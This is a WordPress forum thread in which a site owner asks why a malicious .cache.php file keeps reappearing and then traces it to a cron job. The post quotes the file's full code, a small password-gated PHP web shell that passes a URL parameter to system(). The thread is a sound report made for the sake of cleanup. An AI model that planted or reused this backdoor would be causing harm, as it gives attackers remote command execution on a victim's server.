.cache.php Page Keeps Reappearing in WordPress Root

  • Resolved Sam

    (@00samm)


    9 years, 7 months ago

    This is the site: https://waganimalrescue.com/

    I just cleaned out some malicious files and code with the help of Sucuri. Everything seems to be fine now except that every hour or so a .cache.php file is added to the root wordpress directory.

    This is the code .cache.php contains:
    <?php if (substr(md5($_GET["localdate"]),0,6) == "6fbcb8") { $time = str_replace("@"," ",$_GET["localtime"]); @system($time); exit; } ?>

    I’ve tried searching for this issue but I haven’t had any luck. Any ideas what’s causing this or where I should look? Sucuri continues to say everything else looks fine.

Viewing 1 replies (of 1 total)
  • Thread Starter Sam

    (@00samm)

    Turns out I posted too soon. I just tried another search, this time using the code as the query and it turned up a helpful suggestion — check the cron jobs. Sure enough, there was one scheduled to keep replacing this file. I deleted the job and hopefully that will do it.

Viewing 1 replies (of 1 total)
  • The topic ‘.cache.php Page Keeps Reappearing in WordPress Root’ is closed to new replies.